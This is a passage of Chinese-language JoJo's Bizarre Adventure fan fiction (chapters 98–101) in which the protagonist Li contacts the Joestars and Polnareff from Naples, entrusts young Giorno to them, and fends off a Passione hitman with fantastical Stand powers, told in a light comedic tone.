只是他不想将已经心碎的表兄表嫂牵扯进来。而现在又牵扯进了一位无辜的女士.....
里苏特微不可查地叹了口气,黑发女人恰好抬起了头,撞进了他的眼中。
“里苏特先生,我想请问一下,你是怎么确认跟踪我的人是passione?”说到passione的时候,她的眉头微微蹙起。
看来她没有看上去的那么不在意。
“不用称呼我为''先生''”,里苏特垂下眼,试图遮掩自己不似常人的眼,“我之前因为一些事情和passione的人接触过,而那个跟踪你的人我恰好在那伙人中见过。”为了不给表兄一家留下麻烦,里苏特是打算在暗杀那该死的司机后加入passione。
“原来如此。”黑发女人并不追问为什么接触,她没有移开视线,只是继续凝视着里苏特的眼眸,好像不觉得有任何奇怪。“谢谢你提醒我这件事。”
她的眼睛飞速向室内撇了一眼,做了个招手的手势,指了指远处的方向,压低了声音,“还请关注一下乔瓦尼先生最近接触的人,我认为他们并不是为桑尼伸张正义,而只是打算浑水摸鱼的。”
能教唆老实人袭警,确实不会是什么好东西。
里苏特点了点头,跟在黑发女人身后向远处走。
随着女人的步幅,马尾有规律地摆动,里苏特保持着不近不远的距离,眼睛不自觉地放在了摇摆的发尾。
女人突然站定,里苏特慢了一拍才停下脚步,马尾扫过了他的胸口,他愣了一下。
“不过关于档案室的事,我想我们还得再谈谈,里苏特。”
来到僻静的角落,确认没人偷听,我准备对这位档案室的神秘来客摊牌,至少解决目前信息不对称的关键问题。
不然待会在这场案件中,恐怕就会变成了《糟糕!入职第一天就和组织干上》/《入职即优化的悲惨故事》。
而且,据我了解,passione四年前根本没发展起来,向其送钱能对案件起作用的可能性不是没有但几乎为零。
再加上我明面上可是比安奇组织塞进来的关系户,科长作为比安奇组织的白手套,想要对我下手了,除了派系斗争的可能,恐怕就是想要另投他主了。
所以,当前的任务就是,让我明白那个司机究竟是向哪个组织行贿了。
我看向还在愣神的里苏特,回想着他轻盈的脚步和熟练的隐蔽技巧,突然福至心灵。
“里苏特,你之前应该都没被passione或者别的组织发现你在调查这件事吧?”
“我能确认没有。”
“那你能替我开一间酒店的房间吗?得用你的证件。”
“......?”
银发的高大男人微微瞪大双眼,血红的虹膜微缩,像是受到了极大刺激。他张了张嘴,却没说出话来,呆滞的样子把他之前呈现的冷酷形象一扫而空。
“现在?”
良久,里苏特才吐出这一个词。他像是躲避我的目光一样,移开了视线,望着一片空地。
“当然!还得赶在学校放学前。”
我
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不想让乔鲁诺牵扯进来,他这个年纪正是应该在学校里好好上学,不应该接触黑.手党之类的事。
不然真变成dio那样了怎么办!不抓紧时间待会回去晚了恐怕这个聪明的孩子也会察觉异样。
一想到这个,我看向里苏特的眼神难免带上了一丝急切。现在是我能找到的最好时机。
里苏特移开了视线,我只能看见他的半张脸。从紧抿的薄唇我猜不透他的心思。
不,也许我懂了!
我从钱包里拿出一叠钞票,已不容拒绝的姿态塞进了里苏特抗拒的手中。
“拜托了!酒店的钱我肯定会付的。”求人办事我肯定不会白嫖就是了!
里苏特转过了头,低头看了看被极具技巧塞进手里的钞票,又看了看我,眼里是无法言说的复杂。
他似乎想说什么,但尝试张了张嘴,最终还是将话咽了下去。
沉默,还是沉默。
“难道这个钱对于一个能打跨洋电话的高级酒店的房间还不够吗?”
原来这么贵吗?但这是必要的开支。
我想了想,正准备再从钱包里抽出一点钱来,一只手却按在了我的手腕上。
力道很轻,但是阻止我动作的意味很明显。
“你是想打跨洋电话?”
“对,不过一些原因,我需要用你的身份开间房间。当然,你开好房间不用进去,给我钥匙就可以了。”
这个年代,移动电话还算是稀罕的东西,就算有,也大抵是砖块的模样。如果要打跨洋电话,一般是在电话亭或者是固定电话那里。
而之前一直被跟踪再加上意外加入黑.手党使得我难以联系乔瑟夫先生他们。
而现在,一看立马加入passione就陷入被优化的风险,此时不联系伙伴跑路更待何时。
何况,乔鲁诺身上可能还带着乔斯达家的血统,这点还得和乔瑟夫先生商量一下。
所以,“不需要再加钱了吗?”
里苏特收回了手,“已经足够了。”
*
虽然已经确保没人在四周监听,但我还是幻化成里苏特的模样,在高级酒店内连打了好几个跨洋号码做幌子,最终才拨通了乔瑟夫先生的号码。
虽然之前给予dio的情报大有偏差,但是我对于乔斯达先生和承太郎、花京院的基本信息还算是清楚。
家庭住址、电话号码等事情我还是清楚的。
而且,对我来说,只是过去了不过五六天而已,这些基本信息还不至于忘记。
不过对于现实世界来说,应该过去两年了,即使是换了号码也算是正常的事情吧……
“嘟……”电话的忙音有些长,就当我以为这个电话注定是打不通的时候,熟悉的声音响起。
“嘟……嘟……,hi,这里是乔瑟夫·乔斯达,请问是哪位?”
我握紧了电话,忍不住舔了舔有些干燥的嘴唇。
“好久不见,乔斯达先生。我是——”
“Oh my god!李!”
98.重逢
“wow!不,等等,这也太疯狂了!”话筒对面的乔瑟夫·乔斯达先生惊呼着,话筒似乎从手中垂落,摔在类似实木桌面的硬物上,发出一声巨响。
我都能想象对面乔瑟夫先生捂着脸大喊“oh my god!”的模样了。
我微微把话筒挪远了些。
虽然我很高兴今年应该70岁的乔瑟夫·乔斯达先生还是如此生龙活虎,但他激动起来的音量对于一个感官灵敏的人来说真是不太妙啊。
话筒那边似乎稍微缓过来了一点,乔瑟夫先生咳咳两声,压低了声音,重新拿回话筒,“是恶作剧吗?”
“不是。”
“哈!恶作剧的人可是不会承认的。所以,我得对个信息,说吧,bs是--”
“baby stand!”
“有几把刷子嘛,那下一个问题,只有真正的李才知道的机密,阿布德尔的替身是?”
“......火鸡。”
“这都被人探查到了,现在隐私泄露的问题还真严重。不行,我还得追加问题,究竟谁是文艺软脚虾和体虚男?”
不是,乔瑟夫先生你这也太上头了吧!
熟悉的脚趾扣地感又回来了,恍惚间,我都快忘记自己已经跳跃了时间,仿佛还在和大家一起胡吃海喝庆祝打倒dio。
“哈--”听着听筒那头传来奇怪的语调,我扶了扶额,却难以压下嘴角的笑。
那头好像依旧兴致勃勃,“你的下一句话是--''乔瑟夫先生,我得说正事了''。”
“乔瑟夫先生,我得说正事了。”
我的话音和乔瑟夫先生重合,我听到电话那头传来得意的哼哼声以及几道笑音。
被完美预判了啊,不愧是乔瑟夫先生。
“啪。”听筒那头传来按键的声音。
“乔瑟夫,现在别玩了。”有人轻声说着。
诶?能直呼乔瑟夫先生了话?我愣了一下,试探性地开口,“乔纳森先生?”
似乎没想到自己的小声嘀咕被听见,乔纳森先生顿了顿,温柔的声音从电话那头传来,“是我,李小姐,欢迎回来。”
“爷爷你抢了我的话耶”,乔瑟夫先生在电话那头嘀嘀咕咕,我听到有其他人凑近的脚步声。
“欢迎回来,李小姐。”
啊,是花京院的声音。
他的声音不大,开头的咬字很慢,有一种小猫踩在雪地里的感觉。
我愣了一下,又听见有人靠近的声音。
“欢迎回来。”
熟悉的简短语句,是承太郎啊。
没想到他们和乔瑟夫先生在一起。咦,今天不用上学吗?
不对,按现在的年纪他俩只要不留级就应该上大学了,时间相对自由多了。
也许是他俩的学生制服给我留下太深的印象,我竟然第一时间想起的是这个。
我收起自己的笑意,正色回应,“不好意思,久等了。”
久违的有人等待自己,这种感觉,不算太坏。
不过以后还有继续聊天的时间,我看了看酒店床头的脑中,得抓紧时间了。
我先和乔瑟夫先生说了穿越降临的地点以及遇到了乔鲁诺相关的事情,其中dio还存在子嗣这点让对面静默了一会,但随后又因为我跑去当“黑.手.党”而又开始闹腾了起来。
“唔,你的事业运还是一如既往奇怪啊。”乔瑟夫先生叹了口气,“你现在因为陷入了比较麻烦的事情,所以想将dio的孩子转移一下地方吗?”
“嗯,我觉得乔鲁诺年纪还小,如果接触这些事了话可能不利于成长吧。而且,按现在复杂的形式来看,我身边应该会有不少危险。”我很老实地回答。
不过对面传来的是一声漫长的叹息。
诶?虽然dio确实是烂人,但是乔鲁诺目前看起来还是好孩子。而且大家也不会向小孩子计较以前的恩怨才是,难道有什么我不知道的困扰吗?
“唔,好,那个叫乔鲁诺的孩子可能面临危险需要转移。”乔纳森先生接上了话,几乎像是哄着小孩的语气,语气轻柔地让我怀疑电话这头的我只有八岁。
这样的感觉怪怪的,我试图说点什么,但乔纳森先生的话却没还没结束。
“你也有危险啊,李小姐,为什么你不觉得自己需要转移呢?”
嗯.....
或许,我还挺强的?而且按照我克老板的属性来说,该跑的其实也不是我吧。
但这话说出来好像怪怪的,有种自吹自擂的感觉,我陷入了短暂的沉默,试图组织语言,乔瑟夫先生又接上了话。
“爷爷的意思是,李,作为同伴,你完全可以选择依靠我们嘛,我们能做的可不止转移小孩啊。”
“诶,那直接摧毁所有黑.手.党?”
“......!”
看起来用这个活跃气氛的效果一般啊。
“抱歉啦,我在开玩笑。不过虽然说是有危险,但其实我对我的实力确实还挺有自信的。只不过保险起见还是想找信得过的人来照顾一下乔鲁诺,等事情了结了我就立马离开奇怪的组织,绝对安全。''”
我并不是傻子,当然能听出大家的好意,但总觉得不用那么麻烦大家。而且即使乔斯达不动产确实有着骇人的财力,但在意大.利,强龙压不过地头蛇,这里是属于黑手.党的地盘,想要干涉也十分困难。
这话似乎说服了乔瑟夫先生,他不满地叹了口气,“是意大利啊,可惜spw在欧洲的分公司不在那里。如果调度了话也需要一些时间。”
“不过既然是意大利.....”对面传来花京院的声音,他似乎声音里还带着微不可查的笑意,“就算是坐spw的专机,到达意大利也需要十五个小时。”
15小时,也还好嘛。
我这么想着,承太郎的声音又从听筒里传来,“但是刚好,现在我们有人在意大利。”
哇,有人,这个口吻还挺不良的。
难道承太郎在这两年里从不良转变成黑手.党了吗?
我忍住吐槽的心,耐心等着承太郎说出对方的名字。
“听说意大.利某块地区的犯罪率近年激增,再加上听说在我们调查箭的踪迹的时候有线人说曾经在那里见过类似的东西,所以,那家伙一个星期前就直接过去调查了。”
啊.....这么说,
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那家伙是!
*
“诶,现在竟然有人打电话过来吗?”波鲁纳雷夫正拿着披萨往嘴里塞,听到了手机铃声,擦了擦手,从口袋里掏出一只手机。
“这个号码我只给过承太郎他们,难道又是说要赶过来吗?欧洲可是我的地盘呢,那两个学生还是继续读书吧。”
波鲁纳雷夫碎碎念着,又看向坐在椅子上啃着咖啡味口香糖的伊奇,“明明我们两个就够了,对吧伊奇。”
黑白色的波士顿狗脸上露出生动的嫌弃表情,将耳朵闭了起来,换了个方向,将屁股对着波鲁纳雷夫,继续用爪子巴拉着口香糖。
“哼,我现在看透你了,你这条臭狗完全就是想意大利几日游才跟着我的吧,那你就自己去玩吧,我可是要找''箭''的。”
摇摇头,波鲁纳雷夫将手机放在桌子上,按下接听的按键。
“波鲁纳雷夫?”是清冽的女声。
?
波鲁纳雷夫一愣,眼神马上变得犀利了起来。
这个号码他可不记得给过什么女人。
而且直接说出他的名字,糟糕!肯定来者不善。难道dio的残党已经要追过来了?
波鲁纳雷夫看着像是意大利的号码,眼神更加警惕戒备。这是一个经历过锻炼的战士有的警觉。
更坏的可能是,那个联系他“箭”的线索的线人提前暴露了!
波鲁纳雷夫咬牙,额角划过冷汗,并不回应。他将手指竖起放在嘴边,转头意图提醒伊奇也保持安静。
不过伊奇那家伙虽然坏脾气,但和我也算有默契,这时候肯定会自动静音的……
!
根本没有啊!
波鲁纳雷夫转头,就发现本来还在椅子上的伊奇跳上了桌子,像是突然对手机感兴趣一样,展开耳朵,抬起鼻子,对着手机嗅嗅,而后张了张嘴。
怎么今天突然对手机感兴趣?
波鲁纳雷夫无声地倒吸一口凉气,随即向前踏步伸手试图抓住伊奇的嘴筒子。
“汪!”
但是来不及了,伊奇的叫声比他的动作更先传出。波鲁纳雷夫思考着现在自己也叫几声能不能伪装过去,对面却也传来一声奇妙的声音。
“汪……”
对面也狗叫啊,不会脑子不好吧。
波鲁纳雷夫陷入了沉默,却忽然发现之前桀骜的波士顿狗嘴角微微弯起,喉咙里发出满意的咕噜声。
?伊奇也变蠢了吗?
这通电话到现在也没有什么有用的信息,难道是那种回答电话就会变蠢的替身攻击吗?
好的,那我就保持沉默好了。
波鲁纳雷夫眼神变得犀利了起来。为了防止伊奇继续奇怪下去,他决定眼疾手快挂掉这通奇怪来电。
只是下一秒,他就情不自禁喊出声来。
因为,“好久不见,波鲁纳雷夫、伊奇,我是李。”
波鲁纳雷夫近乎手忙脚乱地拿起电话,试图将它放着里耳朵近一点,好确认这确实是之前消失在眼前的同伴。
而此时,房间的门口传来敲门声。
一个脸上带着雀斑的粉发少年收回了手,耐心地等在门口。
99.八卦
托比欧看着酒店的房门,调整了一下自己的领结,确保自己足够像是酒店的服务生。
里面那家伙,很可能就是查询“箭”的下落的人。而“箭”的过去,就会涉及到boss的秘密。
任何想要探察boss过去的人,任何想要知道boss真实身份的人,都得死。
这句话像是被刻在托比欧骨子里。
他已经习惯处理那些试图探察boss消息的人。
托比欧摸了摸贴身放着的小刀,脸上露出了一个腼腆的微笑。
与追寻“箭”的人约定见面的时间是明天,约定的地点是那不勒斯的地下墓穴的门口。
但是等到约定的时间再下手,未免有些蠢了。
passione作为意大.利目前声势显赫的黑手.党,通过紧密的情报网,掌握近期入境并且直奔那不勒斯还带着手机的外国人并不是难事。
如果要及时赶到地下墓穴,也就附近几家酒店符合条件。再将条件限定一下近期到来并且入住的外国人,也就剩下几个人选了。
一一试探过去,处理起来也并不麻烦。早些解决可能知道老板过去的家伙,甚至还能防范约定的地点、时间泄露而吸引组织里跃跃欲动的叛徒们。
这样子就能完全守护boss的过去,真是太好了!
托比欧的内心涌出难以抑制的喜悦。
只是里面那个家伙怎么这么久都还没出来,不会逃跑了吧?
看来运气很好,第一个就找到了?
托比欧的眼神变得狠厉了起来,他向前迈进一步,又敲了敲门。
还没有回应。
托比欧然后将手伸进衣服里贴近小刀,正准备将耳朵贴近门听听里面的动静,一声响亮的狗叫声就透过门板传了出来,吓得他猛地后退一步,差点摔到在地上。
“来了来了!”里面传来一个男人响亮的声音,托比欧马上调整好表情,站了起来。
里面的人似乎停在了门口,通过猫眼观察了一会,才将门打开。
“有什么事吗?少年,我可没有订餐。”那是一个身材高大的银发男人,头发被发胶牢牢固定地竖着,佩戴着半心形耳饰。
他只是将门半打开着,见对面是男人,脸上没什么笑意,钻蓝色的眼睛里满是警惕。
呼。感觉不是什么简单的家伙啊。
托比欧暗暗地想着,装作被吓到一样半退了两步,从怀中掏出一张地图。
“是这样的,客人,我想问您需不需要导游。那不勒斯附近的各类景点我都很熟悉,您只要付一点点费用就能享受周到的导游体验哦!”
对面的银发男人看上去没什么动容。导游服务并不能吸引到他,他将手放在门上,正要将门关上。
托比欧又紧急插播了一句,“不管是庞贝遗址、苏维尔火山都行哦。不过客人如果要去那不勒斯地下墓穴就得注意了.....”
说到那不勒斯地下墓穴的时候,意图关上门的手停了下来,银发男人看了过来。
托比欧的心砰砰直跳,他敛起得逞的笑,变得更加警惕了起来。
好,看来很可能就是他了。
只要他问起那不勒斯底下墓穴的事情,自己顺势说起来奇怪的“箭”,如果他的反应剧烈了话,十有八九就是他了。
这样子,把他留在这个酒店就够了。
托比欧在地图下,摸着怀里的小刀,看着对面高大的银发男人开口。
“少年,你是不是对那不勒斯很熟?”
“当然。”托比欧的手已经能感受怀中的小刀冰凉。
“那么你刚刚说的景点里有适合带小孩子的吗?”
?
托比欧手上的动作一顿,敛去眼底的怀疑,用着开朗的声音回答,“啊,如果是带着小孩子了话,可以去马佐里海滩哦。不过客人您真年轻,看起来不像有孩子的样子呢?”
对面男人摆了摆手,脸上严肃的表情似乎绷不住了,那种脸上复杂又是带着喜悦的表情让托比欧难以相容。
“谢谢你,我知道了。不过顺便问一下,你手上的那张地图能卖给我吗?看起来挺详细的,我想去Trattoria da Nennella,顺便一提,附近有没有什么好的花店,我得带一束花去赴约......”
托比欧彻底冷静了下来,近乎麻木地接过了对面男人递来的钱,给了他地图,告诉他餐馆在西城区,又顺手给他指了附近花店的位置。
一个要来追查boss身份的人,要寻找神秘的“箭”的人,是不可能来那不勒斯带孩子的。
但,他总有种感觉,好像就要错过什么的感觉。
不行!果然还得再试试。
如果是那个接头的人,现在绝对会随身带着的东西!
托比欧看着银发男人的身影即将消失在走廊的时候,从腰包上拿出了手机,打出了那个号码。
托比欧的眼睛死死盯着银发男人,但是银发男人的身上没有任何动静。
猜错了。
粉发少年收回了视线,看着并没有接通的电话,面无表情地将他又塞回了包里。
好了,还有时间,去找下一个可能的对象。
他会将危险,先行扼杀。
*
里苏特接过自己的证件,向前走去,眼睛不自觉瞟向了一旁脸上带笑的女人。
似乎从酒店出来后,她就很高兴的样子。应该是打电话联系到了什么人吧。
在被盯上的时刻特意伪装也要联系上的人,应该是她比较信任的对象吧。
但是跨洋电话,对方赶得来吗?
里苏特的思绪有些飘忽,下意识跟着女人的脚步站定。
他转头看去,原来是一家冰淇淋店。
原来已经到这里了吗?那么接下来她应该会去接那个黑发男孩吧。
里苏特了然,看着女人上前买了两个冰淇淋,将其中一个递给他。
“非常感谢你今天的帮助。”
说起来,只是借他的身份开个房间,他既没出钱也没有做什么,倒不如说,更麻烦的应该是她才对。
里苏特这么想着,本想拒绝,但冰淇淋已经递到了手边。
那通电话似乎真的让她很开心的,黑曜石的眼睛里还带着笑意。和之前客气的样子完全不同。
这样子并不好拒绝。
里苏特接过冰淇淋,很小心地没碰到女人的手,和她并排离开。
“谢谢。”
“不客气。”
现在他没察觉有人跟踪,但是为了防范他人听到,里苏特还是稍微靠近了女人一些,从背后挡住了女人的身形。
“档案室的事,你是怎么知道的?”里苏特本以为是幸运,现在看来并非如此。
“气息声,只要人活着,就会呼吸。只要呼吸,就能被感知。”黑发女人耸耸肩,直接摊牌。
看来她比他想象的要强。
“送到这里就可以了,谢谢你。”女人看着不远处的学校,又忽然像是想起了什么,“说起来,里苏特,你还在上学吗?”
没有想到她会问这样的问题,里苏特愣了一下,盯着女人专注的的表情,“我已经毕业了。”
“是嘛,那未来有什么打算吗?”
干掉那个司机,之后再离开乔瓦尼家,再然后,随便加入什么黑.帮混口饭吃吧。
但这不是个适合说出来的回答,里苏特沉默了一下,他一时间也编不出别的什么。
毕竟未来,早在他下定了复仇的那一刻起就不属于自己了。
女人没等到回答,但她似乎明白了什么,她的眼神平静又自然的降临在里苏特的眼中,几乎让他有种躲避的冲动。
“未来可是有无限可能的,去考虑一下未来吧里苏特。有些事情不妨交给大人去做。”
“我已经....”
“里苏特,很抱歉看到了你证件上的出生时间,但是我认为离成年还差几个月的话还是可以试着多想想未来的。完全没有必要因为一些事情而脏了自己的手。”
“那
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不是你的事。”
*
我和里苏特眼睛四目相对。现在双方的表情不变,我们都十分明白对方的意思。
虽然意大利似乎“民风淳朴”,但我接受的教育不至于让未成年人打打杀杀,尤其是没有替身使者的未成年人。
在听说事情可能涉及能激发人替身的“箭”的时候,我就意识到这件事情应该减少普通人的参与。
而且里苏特这家伙一副杀了司机就使命完成的样子也太不利于和谐社会了。
不过他可能误会了什么。
“在尽可能的情况下,我一般将事情交给司法去审判。如果司法也无法完成的情况下,我会相信因果命运。”
里苏特眯起了眼,没有说话。
“唔,现在说起来好像是没什么说服力,不过还请你等待一下吧。”我回想起自己克老板的经历,不由得有些复杂,“正义是不会缺席的。”
至少,每次,我真的“该死”的老板们好像都稳定没了。
咦,这么说从某种角度来说我也是什么判官吗?
里苏特没有说话,脸上写满了不信任。
好吧,我叹了口气,一手拿着冰淇淋,一手拿出了刚从里苏特口袋掏出的证件。
“其实,我还挺强的。”
我看着瞳孔骤然紧缩的里苏特,谦虚一笑,又将证件还给了他。
“所以,偶尔相信一下大人还是可以的。”
送走了震惊的里苏特,我终于放下心来。
这样子偶尔跟在后面的小尾巴就能甩掉一个了,否则气息判断起来也挺麻烦的。
我这么想着,就看见乔鲁诺向我跑来。他径直跑过来牵起了我的手,眼睛亮亮的,就像路口迎接人类的小猫。
我将冰淇淋递过去,乔鲁诺却没接过,“你,不吃冰淇淋吗?”
他的眼睛一眨不眨地盯着我,眉头微微蹙起。
不,绝不是财政危机。
我读懂了他的想法,在心底叹口气,决心以后要洗刷乔鲁诺对我资金状况的担忧。
“是我暂时不想吃,但是又很想知道新品的味道,可以麻烦乔鲁诺帮我品尝吗?”
这个理由说服了他,乔鲁诺接过冰淇淋,咬了一口,向我反馈口感。
我一边牵着乔鲁诺,一边往Trattoria da Nennella走去。那是我第一次和乔鲁诺一起吃饭的地方。
“现在不回家吗?”
“今天我想带乔鲁诺和我以前认识的人吃饭,顺便介绍乔鲁诺给他们,可以吗?”
乔鲁诺顿了一下,眼睛一眨不眨地抬头看着我,透出一种隐秘的期待,“当然可以!”
说完,他牵着我的手更紧了些,好像这样两个人能更加贴近。
到了店内,我坐在了靠里面的位置,正准备先点一些什么。一束黄玫瑰先闪到了我眼前。
我的肩膀上贴近了一片温暖,熟悉的呼噜声在我耳边响起。
“bonjour,女士。”绚烂的黄玫瑰后先是出现一个奇怪的发型,而后就是令人怀念的钻蓝色双眼。
我忍不住笑了起来。
波鲁纳雷夫熟稔地放下花,对着乔鲁诺热情打了个招呼,直接在我对面坐下。
“虽然已经说过了,但是,伊奇,波鲁纳雷夫,好久不见啊。”
我给伊奇拉了一个椅子,又拿出路上买的咖啡味口香糖。
伊奇满意了。
看着熟悉的伙伴,我心中的安心感油然而生,感觉自己能稍微喘一口气了。
不过下一秒,这口气就差点喘不上来了。
因为波鲁纳雷夫对我挤眉弄眼,极其小声地试图打听,“哎呀,这么久不联系了你怎么连孩子都有了,孩子父亲是谁?”
不,这家伙脑子究竟是怎么想的?
我看着波鲁纳雷夫一副八卦的样子,只觉得太阳穴突突直跳,有些后悔在电话里只说让他帮我照顾孩子了。
……
这孩子父亲我敢说,你敢听吗!
100.你又知道了?
我看着对面的波鲁纳雷夫,缓缓呼出一口气,告诉自己,要冷静。
在我短暂沉默的时间里,波鲁纳雷夫眉飞色舞,身子向前倾,眼睛放光地在我和乔鲁诺的脸上来回打转,嘴里还要啧啧赞叹,“哇,这孩子长得还挺像你的。”
这话说完,波鲁纳雷夫很是赞许地对乔鲁诺点了点头。
嘶--
要是不说点什么,我都不敢想他能想到哪里去。
虽然我很想直接说出乔鲁诺的父亲是dio这件事,但是波鲁纳雷夫这家伙的思路一定会跑偏。而且一涉及到dio,就不太适合在乔鲁诺面前讲了。
为了我的名声和接下来的血压着想,我想,最好的应对还是轻描淡写地带过。
“咳咳。”我竖起一根手指挡住了波鲁纳雷夫试图继续八卦的趋势。
我先向乔鲁诺介绍了伊奇和波鲁纳雷夫,“这两位是我之前打--,不是,是之前旅行时的同伴,这位说话不着调的叔叔叫波鲁纳雷夫,这位冷静聪明的同伴是伊奇。”
好险,差点自己说出了dio的名字。
波鲁纳雷夫似乎对于叔叔有点不满,小声嘀咕着是“大哥哥”,我才不理他。伊奇倒是很高兴,得意地扬起了头。
我接着向他俩介绍了乔鲁诺,“我和大家分别后,一来到这里遇见了些困难,是乔鲁诺帮助了我,出于一些原因,我将乔鲁诺带在身边照顾。”
看着波鲁纳雷夫终于冷静下的表情,我松了一口气,眼神扫过波鲁纳雷夫,继续提醒道,“乔鲁诺今年五岁。”
所以,你倒是给我想清楚!我和大家分别两年怎么会多出个五岁的孩子。
又不是什么带球跑的剧本吧!
暗示终于到位,波鲁纳雷夫吸了一口气,开始挠了挠自己的额角。
“Buona sera(晚上好)!我是乔鲁诺·乔巴纳!”虽然先前被眼前高大的银发男人的奇怪发言弄得有些不知所措,乔鲁诺还是鼓起勇气打了招呼。
波鲁纳雷夫咳嗽一声,对着乔鲁诺,弯起嘴角,露出洁白的牙齿,好像刚刚从没擅自脑补什么奇怪的东西一样,“Buona sera!(晚上好),乔鲁诺,我是简·皮耶尔·波鲁纳雷夫,一位幽默风趣帅气的法国大哥哥。”
伊奇也抬起了爪子,在乔鲁诺惊愕的目光中挥了挥手,算是打了招呼。
见乔鲁诺没有对他的超长修饰做出反应,波鲁纳雷夫朝发出嗤笑的伊奇狠狠投去一眼,然后正色道,“谢谢你之前帮助了她,乔鲁诺。”
乔鲁诺愣了一下,摇了摇头,“其实是我被姐姐救了才是。”
乔鲁诺在姐姐上加了重音,然后飞快地瞄了我一眼,又收回视线。
咦?这还是乔鲁诺第一次叫我“姐姐”。
以往似乎是我从不介绍自己的缘故,他一直避免直接称呼我,甚至也从不问我的名字,似乎害怕给我带来麻烦似的。
不过波鲁纳雷夫没有这样的顾虑。“唔,现在我该叫你什么比较好?”
我知道他说的是假名的事。
嘈杂的环境中,没人注视这里。
“露娜。”我在将比安奇给我伪造的证件从桌下推给波鲁纳雷夫看,“不过之后可能就用不上了。”
在这点上,波鲁纳雷夫还是与我有点默契在的,他看了看工作的单位,点了点头,又将证件推给了我,“有些麻烦?”
“是有点,我能处理。不过先吃饭吧,待会我还得出去一趟,麻烦你和伊奇带着乔鲁诺去转一下可以吗?九点跟着乔鲁诺回到我们住的公寓就行了。”
波鲁纳雷夫摆了摆手,“电话里就交代的事,当然没问题。”
一听这话,乔鲁诺抓住了我的袖子,青绿色的眼睛专注地盯着我,“姐姐”。
唔,他确实还是很没有安全感。还是说现在这个场景有点像拐.卖小孩呢?
我想了想,拿出了公寓钥匙,郑重地放在了乔鲁诺的手上,“可以等我吗?乔鲁诺。”
乔鲁诺点了点头,松开抓住我袖子的手,小心地放好钥匙。
“这家店的布丁也不错,麻烦帮我打包带走几份。”
*
到底要等那个女人到什么时候!
一个棕发男人嘴里叼着一只雪茄,百无聊赖的坐在对街的酒馆二楼的看台上。
他给自己灌下了一杯酒,稍稍打了个哈欠,揪起了盘子里小块的帕尔马火腿放入嘴里。在朦胧的视线中,他看见了目标的身影,一下子蹦起来了。
桌上的餐盘掉在了地上,碎成几块。酒馆老板一听这动静本来竖起了眉毛,但一看到离开酒馆的身影,还是默不作声,只是叫人收拾了一下,甚至连酒钱都没敢追过去要。
谁叫那是passione的人呢!
棕发男人才不管后面的动静呢,他只是不近不远地跟在那个黑发女人后面。
“哎,奇怪,厕所去哪里呢?”黑发女人好像是喝醉了,扶着墙,往着巷子里走。
luckily。
这回的钱赚起来也太容易了吧。
棕发男人看着越来越偏僻的巷子,搓了搓手,情不自禁地笑出了声。
虽然不知道是谁下的这急单,但无所谓嘛,他已经调查过了,这个黑发女人不过就是警.局的小警员,做掉根本无伤大雅。
太阳已经下山了,夜色披着浓墨般的面纱降临。随着巷子越来越偏,周围的人越来越少,他渐渐缩小了距离。
黑发女人仿佛现在才酒醒了,意识到了什么,小心地回头瞥了一眼,加快步子逃跑。
呵,这有什么用呢?
棕发男人冷笑一声,看着黑发女人慌不择路地向左拐去。
那里可是死胡同。
棕发男人不紧不慢地走到了巷子口,正打算看那个女人惊慌失措的面孔时,却惊讶地发现,巷子里面空无一人。
什么!
是躲在了暗处吗?
这里根本没有能逃走的地方。
他咬了咬牙,走到了巷子中间,这时他清楚地看到了巷子的底部,那里,根本没有人。
就在此时,他感觉到肩膀有些重量,他一转头,就看见了一个面容苍白的俊美的金发男人,此时他的手正按在他的肩上。
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棕发男人吓得立马倒退几步,健硕的金发男人没理会他的动作,依旧笑盈盈的,身上有种非人的魅力。
“小哥,这么晚来巷子里是要做什么呢?”金发男人说话时,露出过于尖利的虎牙。
没有任何声响地接近了自己,他的直觉告诉他,这个男人,很危险!
棕发男人倒吸一口凉气,立马唤出了自己的替身。
金发男人却好似什么都没看见,依旧发着问,“说起来,你还没回答我的问题呢?passione的小哥?”
他的话让棕发男人心惊肉跳,身体下意识地颤抖着,再也忍不住了,立马让替身攻击过去!
不过是区区普通人!去死吧!他可是替身使者呢!
替身离那人越来越近,金发男人的眼睛依旧放在了自己的身上,棕发男人不由松下一口气。
太好——
随着呼吸变得困难,棕发男人的眼珠子都要瞪了出来。
苍白的金发男人站在了他的身后,动作有些粗暴地攥着快要喘不过气的喉咙。
“哦呀,有点事情想问你,可以和我说说吗?”身后的声音很温柔,但根本没放松手上的力道。
“关于你的替身是怎么来的,以及为什么来到这个巷子里,都一五一十地告诉我好吗?”他的话礼貌极了,却让棕发男人腿发颤。
xxxx的你松开手,我全都告诉你啊!
但是他的诉求并没有被听见,身后的人似乎为他的“不配合”感到困扰,摇了摇头,轻声叹息,“真是有骨气啊,算了,那也只能那样了……”
?你放开手再说这话啊!
棕发男人努力挣扎,却无法逃脱身后的桎梏,只能眼睁睁看着一个形状奇怪的像是活着的章鱼脚的东西被摁进了自己的胸口。
身上一阵剧痛,在他失去意识的最后一刻,耳边传来的小声的咕哝。
“效果应该还行吧……”
……
带着肉芽拷问出来的消息,我闪出了巷子。
被种植过才有发言权啊。我摸了摸自己的锁骨,心有余悸地摇了摇头。
亏得我当初努力用体内细胞学习怎么分解吞噬肉芽,如今对于肉芽的种植栽培技术也颇有心得,虽然产出低,但是效果还行。
我暂时改良了肉芽的能力,有点像催眠加上心理暗示,倒是问出了不少情报。
是科长选择暗杀我早已被我猜到这点暂且不提。
今日的意外之喜又或者说惊吓——passione的成员的替身能力是靠箭获得的。
passione对于那不勒斯的掌控能力也无需多言。
我叹口气,准备加速向家里赶去告诉波鲁纳雷夫这个消息。
但等我回家说要告诉波鲁纳雷夫一个重要的消息的时候,波鲁纳雷夫打断了我。
“L—,不是,露娜,我已经都知道了。”银发男人捂着脸,钻蓝的眼神中透着一丝痛苦。
……!
你知道的……和我想告诉你的……
真的是一回事吗?
我怎么感觉头又开始疼了。
101.第四份工作
波鲁纳雷夫注视着刚回家的同伴,忍住心中的复杂,拍了拍她的肩头。
“你一个人真是太不容易了。”
他这话一出口,对面黑发女人的的表情就从稍带疑惑转变为了麻木,整个人死一般的沉寂。
她似乎只剩下意志的力量,全然没有能做出反应的余力了。
哎,他明白。
波鲁纳雷夫心头一时间百感交集,只觉泪水盈眶,在朦胧的视野里硬生生从黑发女人面无表情的脸上品出了六分哀伤三分怅然。
毕竟是那样的事情......她不想别人知道也是很正常的。所以餐厅里还特意和乔鲁诺提前对了口信,实在是太不容易了。
可是他们毕竟是同伴,她又不是什么独狼,怎么需要自己舔舐伤口呢?
这么些年,她一定很不容易吧。
